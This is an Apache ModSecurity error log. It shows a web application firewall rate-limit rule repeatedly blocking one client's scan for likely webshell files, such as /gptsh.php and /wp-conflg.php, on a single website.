[Mon May 04 23:47:01.930810 2026] [:error] [pid 61042:tid 61051] [client 20.29.119.89:62820] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "afi_dUnAPPS1fjubA9Rw7wAAAMU"]
[Mon May 04 23:47:02.327850 2026] [:error] [pid 61042:tid 61066] [client 20.29.119.89:64654] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "afi_dknAPPS1fjubA9Rw8QAAANQ"]
[Mon May 04 23:47:02.765585 2026] [:error] [pid 61042:tid 61048] [client 20.29.119.89:62753] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "afi_dknAPPS1fjubA9Rw8wAAAMI"]
[Mon May 04 23:47:03.349888 2026] [:error] [pid 61042:tid 61061] [client 20.29.119.89:65303] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "afi_d0nAPPS1fjubA9Rw9AAAAM8"]
[Mon May 04 23:47:03.740301 2026] [:error] [pid 61044:tid 61121] [client 20.29.119.89:62820] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "afi_d0w8w2zZZXI6H1u5CQAAABM"]
[Mon May 04 23:47:04.144752 2026] [:error] [pid 61044:tid 61125] [client 20.29.119.89:61472] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "afi_eEw8w2zZZXI6H1u5CwAAABc"]
[Mon May 04 23:47:04.596309 2026] [:error] [pid 61044:tid 61116] [client 20.29.119.89:64685] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "afi_eEw8w2zZZXI6H1u5DAAAAA4"]
[Mon May 04 23:47:05.000328 2026] [:error] [pid 61044:tid 61115] [client 20.29.119.89:63395] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "afi_eEw8w2zZZXI6H1u5DgAAAA0"]
[Mon May 04 23:47:05.471309 2026] [:error] [pid 3341:tid 3354] [client 20.29.119.89:64085] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "afi_eU9o3_LordU0wW6c4wAAAIo"]
[Mon May 04 23:47:05.888164 2026] [:error] [pid 3341:tid 3356] [client 20.29.119.89:65359] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "afi_eU9o3_LordU0wW6c5QAAAIw"]
[Mon May 04 23:47:06.334313 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:61482] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "afi_ek9o3_LordU0wW6c5gAAAII"]
[Mon May 04 23:47:06.722728 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:64106] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "afi_ek9o3_LordU0wW6c6AAAAIQ"]
[Mon May 04 23:47:07.146120 2026] [:error] [pid 3341:tid 3355] [client 20.29.119.89:63433] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "afi_e09o3_LordU0wW6c6gAAAIs"]
[Mon May 04 23:47:07.624781 2026] [:error] [pid 32471:tid 32476] [client 20.29.119.89:64645] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "afi_e3mjpb9EYq6AqhKQrQAAAQI"]
[Mon May 04 23:47:08.109721 2026] [:error] [pid 61150:tid 61165] [client 20.29.119.89:61501] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "afi_fO8QXWVLiwIGVpenhAAAAUw"]
[Mon May 04 23:47:08.693814 2026] [:error] [pid 32471:tid 32484] [client 20.29.119.89:64655] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "afi_fHmjpb9EYq6AqhKQsAAAAQo"]
[Mon May 04 23:47:09.185049 2026] [:error] [pid 32471:tid 32497] [client 20.29.119.89:64756] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "afi_fXmjpb9EYq6AqhKQsQAAARc"]
[Mon May 04 23:47:09.606347 2026] [:error] [pid 61150:tid 61158] [client 20.29.119.89:62806] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-x7.php"] [unique_id "afi_fe8QXWVLiwIGVpenhgAAAUU"]
[Mon May 04 23:47:09.988306 2026] [:error] [pid 61044:tid 61106] [client 20.29.119.89:62741] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "afi_fUw8w2zZZXI6H1u5DwAAAAQ"]
[Mon May 04 23:47:10.390917 2026] [:error] [pid 61150:tid 61162] [client 20.29.119.89:62145] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "afi_fu8QXWVLiwIGVpeniAAAAUk"]
[Mon May 04 23:47:10.818940 2026] [:error] [pid 32471:tid 32487] [client 20.29.119.89:64667] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "afi_fnmjpb9EYq6AqhKQsgAAAQ0"]
[Mon May 04 23:47:11.253666 2026] [:error] [pid 61043:tid 61089] [client 20.29.119.89:60211] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "afi_f58-LwtfURjiAbDotQAAAE4"]
[Mon May 04 23:47:11.652926 2026] [:error] [pid 61043:tid 61096] [client 20.29.119.89:62081] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afi_f58-LwtfURjiAbDotgAAAFU"]
[Mon May 04 23:47:12.108339 2026] [:error] [pid 61150:tid 61155] [client 20.29.119.89:64114] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afi_gO8QXWVLiwIGVpeniwAAAUI"]
[Mon May 04 23:47:12.515144 2026] [:error] [pid 32471:tid 32498] [client 20.29.119.89:62207] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afi_gHmjpb9EYq6AqhKQswAAARg"]
[Mon May 04 23:47:12.940082 2026] [:error] [pid 32471:tid 32480] [client 20.29.119.89:62821] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afi_gHmjpb9EYq6AqhKQtQAAAQY"]
[Mon May 04 23:47:13.348819 2026] [:error] [pid 61043:tid 61077] [client 20.29.119.89:62790] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "afi_gZ8-LwtfURjiAbDouAAAAEI"]
[Mon May 04 23:47:13.843252 2026] [:error] [pid 61150:tid 61170] [client 20.29.119.89:64750] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "afi_ge8QXWVLiwIGVpenjgAAAVE"]
[Mon May 04 23:47:14.353602 2026] [:error] [pid 61042:tid 61052] [client 20.29.119.89:65343] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "afi_gknAPPS1fjubA9Rw-wAAAMY"]
[Mon May 04 23:47:14.803675 2026] [:error] [pid 3341:tid 3349] [client 20.29.119.89:65300] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "afi_gk9o3_LordU0wW6c8AAAAIU"]
[Mon May 04 23:47:15.506490 2026] [:error] [pid 3341:tid 3366] [client 20.29.119.89:62193] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "afi_g09o3_LordU0wW6c8wAAAJY"]
[Mon May 04 23:47:15.925293 2026] [:error] [pid 61150:tid 61163] [client 20.29.119.89:64026] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "afi_g-8QXWVLiwIGVpenjwAAAUo"]
[Mon May 04 23:47:16.489190 2026] [:error] [pid 61150:tid 61171] [client 20.29.119.89:63434] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "afi_hO8QXWVLiwIGVpenkQAAAVI"]
[Mon May 04 23:47:17.020446 2026] [:error] [pid 61042:tid 61046] [client 20.29.119.89:65298] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "afi_hUnAPPS1fjubA9Rw_QAAAMA"]
[Mon May 04 23:47:17.430984 2026] [:error] [pid 61150:tid 61176] [client 20.29.119.89:63443] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asudo.php"] [unique_id "afi_he8QXWVLiwIGVpenkgAAAVc"]
[Mon May 04 23:47:17.874786 2026] [:error] [pid 3341:tid 3356] [client 20.29.119.89:64110] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asudo.php"] [unique_id "afi_hU9o3_LordU0wW6c_AAAAIw"]
[Mon May 04 23:47:31.745173 2026] [:error] [pid 32471:tid 32477] [client 20.29.119.89:64079] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-conflg.php"] [unique_id "afi_k3mjpb9EYq6AqhKQzAAAAQM"]
[Mon May 04 23:47:32.492820 2026] [:error] [pid 61150:tid 61169] [client 20.29.119.89:63471] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-conflg.php"] [unique_id "afi_lO8QXWVLiwIGVpennAAAAVA"]
[Mon May 04 23:47:32.876210 2026] [:error] [pid 61150:tid 61165] [client 20.29.119.89:65388] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-conflg.php"] [unique_id "afi_lO8QXWVLiwIGVpennQAAAUw"]
[Mon May 04 23:47:33.352062 2026] [:error] [pid 3341:tid 3356] [client 20.29.119.89:65361] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-conflg.php"] [unique_id "afi_lU9o3_LordU0wW6dCAAAAIw"]
[Mon May 04 23:47:33.821181 2026] [:error] [pid 61042:tid 61062] [client 20.29.119.89:64657] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-Blogs.php"] [unique_id "afi_lUnAPPS1fjubA9RxCQAAANA"]
[Mon May 04 23:47:34.297212 2026] [:error] [pid 3341:tid 3351] [client 20.29.119.89:64742] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-Blogs.php"] [unique_id "afi_lk9o3_LordU0wW6dCQAAAIc"]
[Mon May 04 23:47:34.778921 2026] [:error] [pid 61042:tid 61057] [client 20.29.119.89:62194] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-Blogs.php"] [unique_id "afi_lknAPPS1fjubA9RxCwAAAMs"]
[Mon May 04 23:47:35.244104 2026] [:error] [pid 61042:tid 61050] [client 20.29.119.89:65406] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-Blogs.php"] [unique_id "afi_l0nAPPS1fjubA9RxDgAAAMQ"]
[Mon May 04 23:47:35.661083 2026] [:error] [pid 61042:tid 61065] [client 20.29.119.89:62142] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "afi_l0nAPPS1fjubA9RxEAAAANM"]
[Mon May 04 23:47:36.064066 2026] [:error] [pid 61044:tid 61102] [client 20.29.119.89:64040] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "afi_mEw8w2zZZXI6H1u5HwAAAAA"]
[Mon May 04 23:47:36.521970 2026] [:error] [pid 32471:tid 32491] [client 20.29.119.89:64650] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "afi_mHmjpb9EYq6AqhKQzwAAARE"]
[Mon May 04 23:47:36.946825 2026] [:error] [pid 61150:tid 61164] [client 20.29.119.89:63450] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "afi_mO8QXWVLiwIGVpennwAAAUs"]
[Mon May 04 23:47:37.353265 2026] [:error] [pid 61150:tid 61157] [client 20.29.119.89:64090] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afi_me8QXWVLiwIGVpenoAAAAUQ"]
[Mon May 04 23:47:37.872877 2026] [:error] [pid 61150:tid 61153] [client 20.29.119.89:62847] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afi_me8QXWVLiwIGVpenoQAAAUA"]
[Mon May 04 23:47:38.293892 2026] [:error] [pid 61042:tid 61060] [client 20.29.119.89:65404] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afi_mknAPPS1fjubA9RxEwAAAM4"]
[Mon May 04 23:47:38.720049 2026] [:error] [pid 32471:tid 32488] [client 20.29.119.89:64101] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "afi_mnmjpb9EYq6AqhKQ0wAAAQ4"]
[Mon May 04 23:47:39.178517 2026] [:error] [pid 3341:tid 3352] [client 20.29.119.89:61544] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "afi_m09o3_LordU0wW6dDAAAAIg"]
[Mon May 04 23:47:39.607297 2026] [:error] [pid 32471:tid 32498] [client 20.29.119.89:65315] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "afi_m3mjpb9EYq6AqhKQ1QAAARg"]
[Mon May 04 23:47:40.188411 2026] [:error] [pid 32471:tid 32477] [client 20.29.119.89:64663] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "afi_nHmjpb9EYq6AqhKQ2QAAAQM"]
[Mon May 04 23:47:40.672380 2026] [:error] [pid 3341:tid 3354] [client 20.29.119.89:65357] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "afi_nE9o3_LordU0wW6dDgAAAIo"]
